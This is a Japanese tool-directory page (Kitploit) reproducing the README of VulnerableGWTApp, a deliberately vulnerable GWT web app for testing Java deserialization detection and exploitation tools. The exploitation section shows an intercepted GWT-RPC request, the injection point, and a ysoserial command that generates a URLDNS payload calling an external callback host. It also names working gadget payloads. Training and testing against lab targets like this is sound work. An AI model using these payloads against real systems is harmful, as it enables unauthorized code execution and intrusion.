Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
VulnerableGWTApp — 意図的に脆弱性を持たせたGWTベースのWebアプリケーションで、ツールや手法をテストするためのものです。 | Kitploit
ツール/GitHubGitHub/bishopfox/vulnerablegwtapp
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育ラボと実践
GitHubbishopfox/vulnerablegwtapp

VulnerableGWTApp

意図的に脆弱性を持たせたGWTベースのWebアプリケーションで、ツールや手法をテストするためのものです。

リポジトリを見る
52年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

脆弱なGWT Webアプリケーション

これは、GWT入門ガイドで説明されているStockWatcherサンプルアプリケーションを、GWTの「拡張クラス(enhanced classes)」機能を使うように変更したバージョンであり、Javaデシリアライゼーション攻撃に対して脆弱になっています。これは、検出および悪用ツールのテストにのみ使用する必要があります。拡張クラスは実際のGWTベースのアプリケーションで一般的に使用されていますが、このサンプルが公開されるまで、セキュリティ専門家が自社のツールや手順を検証するために使用できる、容易に見つけられるオープンソースのWebアプリケーションは存在しませんでした。

GWTベースのアプリケーションの悪用については、Bishop Foxのブログ記事「GWT: An Eight-Year-Old Unpatched Java Deserialization Vulnerability」で議論されています。

Webアプリケーションの実行

Webアプリケーションを実行するには、以下のツールを備えたLinuxシステムが必要です。

  • OpenJDK 11 JREのフルバージョン(ヘッドレス版ではなく)。例えば、Debianベースのディストリビューションでは、openjdk-11-jre パッケージをインストールします。
  • ant(ディストリビューションのパッケージマネージャを使用してインストール)
  • GWT SDK バージョン2.10.0

クイックスタート

このアプリケーションには、GitHubのソース管理に直接含めるには大きすぎる多数のJARファイルが必要です。そのため、最も簡単な開始方法は、リリースページから最新のパッケージをダウンロードして展開することです。

リリースを展開したら、build.xml 内の次の行を編集して、/home/user/GWT/gwt-2.10.0 を自分のGWT SDKディレクトリに置き換えます。

ソースコードディレクトリ内で、次のコマンドを実行します。

root@kitploit:~
ant build
ant devmode

これにより、脆弱なWebアプリケーションが起動し、http://127.0.0.1:8888/StockWatcher.html でアクセスできるようになります。

ローカルサービスへのトラフィックを転送してリモートからアクセス可能にする場合は、8888に加えてポート9876も転送する必要があることに注意してください。

このリポジトリのコードから直接実行する

このリポジトリをクローンして、リリースをダウンロードせずにアプリケーションを実行する場合は、クローン後に以下のサードパーティ製JARファイルをダウンロードして lib ディレクトリに追加する必要があります。

  • aspectjweaver-1.9.2.jar
  • commons-collections-3.2.2.jar
  • javax.persistence.jar
  • jboss-as-connector-7.1.3.final.jar
  • jdo-api-3.2.1.jar
  • jpa-annotations-source.jar
  • junit-vintage-engine-5.10.0.jar
  • jython-standalone-2.7.3.jar

また、GWTディレクトリ(例:gwt-2.10.0/)から以下のGWT JARファイルを、この脆弱なアプリケーションの lib ディレクトリにコピーする必要もあります。

  • gwt-dev.jar
  • gwt-servlet.jar
  • gwt-user.jar
  • validation-api-1.0.0.GA.jar
  • validation-api-1.0.0.GA-sources.jar

これらのJARファイルをすべてコピーしたら、上記のクイックスタートのセクションの他の手順を実行します。

Webアプリケーションの悪用

インターセプトプロキシ(Burp Suiteなど)を介して接続するように設定されたWebブラウザを使用して、URL http://127.0.0.1:8888/StockWatcher.html を読み込みます。

ページには最初に「compiling」というメッセージが表示されます。次の基本フォームが表示されるまで待ちます。

[ The StockWatcher web app displaying a field to add a stock symbol ]

フィールドに BFOX などの短い文字列を入力し、Add ボタンをクリックします。ページには、シミュレートされた株式シンボルのランダムな更新が表示され始めるはずです。

[ The StockWatcher web app displaying simulated price data for the BFOX symbol ]

インターセプトプロキシの履歴で、ブラウザが http://127.0.0.1:8888/stockwatcher/checkCustomClass1 に対して POST リクエストを繰り返し送信していることに注目してください。次と似たリクエストです。

root@kitploit:~
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...

7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|

Base64エンコードされたバイナリデータ rO0ABXcEAAAAAA== は、リクエスト内の脆弱なインジェクションポイントです。Webアプリケーションを悪用するには、置き換え用のペイロードを生成する必要があります。たとえば、Bishop Foxがカスタマイズしたバージョンのysoserial を使用して URLDNS ペイロードを生成するには、次のコマンドを実行できます。

root@kitploit:~
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
  --gwt bishopfox \
  URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
  | base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64

rO0ABXcEAAAAAA== を生成したペイロードに置き換えた修正版リクエストを送信すると、脆弱なアプリケーションはそれをデシリアライズしてトリガーするはずです。ペイロードが引き起こす動作に加えて、値がデシリアライズされた場合、レスポンスにはフィールド名に関連する NoSuchFieldException も含まれるはずです。例えば、上記の例の bishopfox という名前を使用した場合:

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...

//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]

脆弱なWebアプリケーションのプリビルドリリースを使用した場合、または上記のすべてのJARを手動でカスタムビルドに追加した場合は、(最低限)以下のペイロードをWebアプリに対して使用できるはずです。

  • AspectJWeaver
  • Jython2
  • Jython3

この記事の執筆時点では、メインライン版の ysoserial はGWT形式の出力をサポートしていなかったため、必ずカスタムフォークを使用してください。

ツールをダウンロード